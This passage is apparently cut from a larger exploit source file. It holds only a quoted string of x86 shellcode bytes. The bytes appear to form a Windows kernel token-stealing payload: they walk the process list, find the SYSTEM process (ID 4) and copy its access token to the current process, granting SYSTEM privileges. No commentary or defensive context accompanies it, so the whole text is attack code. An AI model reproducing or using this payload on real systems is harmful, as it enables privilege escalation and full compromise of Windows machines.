"\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32\x8b\xc3" "\x05\x24\x01\x00\x00\x8b\x00\x8b\x80\x80\x00\x00\x00\x8b\xd8\x8b" "\x9b\xb8\x00\x00\x00\x81\xeb\xb8\x00\x00\x00\x8b\x8b\xb4\x00\x00" "\x00\x83\xf9\x04\x75\xe9\x8b\x8b\xec\x00\x00\x00\x89\x88\xec\x00" "\x00\x00\x90\x90\xc3" )